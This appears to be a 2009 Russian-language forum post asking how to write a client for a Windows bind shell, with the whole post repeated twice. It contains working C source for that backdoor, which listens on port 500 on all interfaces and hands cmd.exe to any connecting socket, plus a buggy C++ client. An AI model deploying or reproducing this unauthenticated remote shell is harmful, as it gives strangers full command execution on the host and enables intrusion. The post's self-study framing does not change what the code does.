_nic
06.04.2009, 18:42
Как должен выглядеть такой клиент?А то с обычным телнетом шеллы работают.А если пытатся слать в них по принципу принял-отправил-принял то ничего неполучается. :(
Вот шелл на основе которого пытаюсь разобратся
#include <windows.h>
#include <winsock2.h>
#include <stdio.h>
int main()
{
struct sockaddr sockadr2;
struct sockaddr_in sockadr;
struct hostent *host = NULL;
long handle;
PROCESS_INFORMATION cmdproc;
STARTUPINFO cmdrun;
WSADATA wsaData;
SOCKET sock;
WSAStartup(MAKEWORD(1,1), &wsaData);
sock = socket(AF_INET, SOCK_STREAM,0);
sockadr.sin_family = AF_INET;
sockadr.sin_port = htons(500);
sockadr.sin_addr.s_addr = htonl(INADDR_ANY);
bind(sock, (struct sockaddr *)&sockadr, sizeof(sockadr));
listen(sock, 0);
while(true){
handle = accept(sock, &sockadr2, 0);
if(handle != INVALID_SOCKET){
ZeroMemory(&cmdrun, sizeof(cmdrun));
cmdrun.cb = sizeof(cmdrun);
cmdrun.hStdInput = (void *)handle;
cmdrun.hStdError = (void *)handle;
cmdrun.hStdOutput = (void *)handle;
cmdrun.dwFlags = STARTF_USESTDHANDLES;
CreateProcess("C:\\windows\\system32\\cmd.exe", "", 0, 0, true, 0, 0, 0, &cmdrun, &cmdproc);
WaitForSingleObject(cmdproc.hProcess, INFINITE);
CloseHandle(cmdproc.hProcess);
CloseHandle(cmdproc.hThread);
shutdown(handle, 1);
CloseHandle(&handle);
}
}
}
А вот это я пытался сделать клиент:
int main()
{
char *buf=new char[1024*1024];
SOCKET s;SOCKADDR_IN adr;WSADATA wsd;
WSAStartup(MAKEWORD(2,0),&wsd);
adr.sin_family=AF_INET;
adr.sin_port=htons(500);
adr.sin_addr.s_addr=inet_addr("127.0.0.1");
s=socket(AF_INET,SOCK_STREAM,0);
getch();
connect(s,(sockaddr*)&adr,sizeof(adr));
Sleep(1000);
for(;;)
{
recv(s,buf,1024*1024,0);
if(strlen(buf)>0)
{
cout<<buf;
memset(buf,NULL,strlen(buf));
cin>>buf;
send(s,buf,strlen(buf),0);
}
if(strcmp(buf,"exit")==0){break;}
memset(buf,NULL,strlen(buf));
}
delete []buf;
}
Вот шелл на основе которого пытаюсь разобратся
#include <windows.h>
#include <winsock2.h>
#include <stdio.h>
int main()
{
struct sockaddr sockadr2;
struct sockaddr_in sockadr;
struct hostent *host = NULL;
long handle;
PROCESS_INFORMATION cmdproc;
STARTUPINFO cmdrun;
WSADATA wsaData;
SOCKET sock;
WSAStartup(MAKEWORD(1,1), &wsaData);
sock = socket(AF_INET, SOCK_STREAM,0);
sockadr.sin_family = AF_INET;
sockadr.sin_port = htons(500);
sockadr.sin_addr.s_addr = htonl(INADDR_ANY);
bind(sock, (struct sockaddr *)&sockadr, sizeof(sockadr));
listen(sock, 0);
while(true){
handle = accept(sock, &sockadr2, 0);
if(handle != INVALID_SOCKET){
ZeroMemory(&cmdrun, sizeof(cmdrun));
cmdrun.cb = sizeof(cmdrun);
cmdrun.hStdInput = (void *)handle;
cmdrun.hStdError = (void *)handle;
cmdrun.hStdOutput = (void *)handle;
cmdrun.dwFlags = STARTF_USESTDHANDLES;
CreateProcess("C:\\windows\\system32\\cmd.exe", "", 0, 0, true, 0, 0, 0, &cmdrun, &cmdproc);
WaitForSingleObject(cmdproc.hProcess, INFINITE);
CloseHandle(cmdproc.hProcess);
CloseHandle(cmdproc.hThread);
shutdown(handle, 1);
CloseHandle(&handle);
}
}
}
А вот это я пытался сделать клиент:
int main()
{
char *buf=new char[1024*1024];
SOCKET s;SOCKADDR_IN adr;WSADATA wsd;
WSAStartup(MAKEWORD(2,0),&wsd);
adr.sin_family=AF_INET;
adr.sin_port=htons(500);
adr.sin_addr.s_addr=inet_addr("127.0.0.1");
s=socket(AF_INET,SOCK_STREAM,0);
getch();
connect(s,(sockaddr*)&adr,sizeof(adr));
Sleep(1000);
for(;;)
{
recv(s,buf,1024*1024,0);
if(strlen(buf)>0)
{
cout<<buf;
memset(buf,NULL,strlen(buf));
cin>>buf;
send(s,buf,strlen(buf),0);
}
if(strcmp(buf,"exit")==0){break;}
memset(buf,NULL,strlen(buf));
}
delete []buf;
}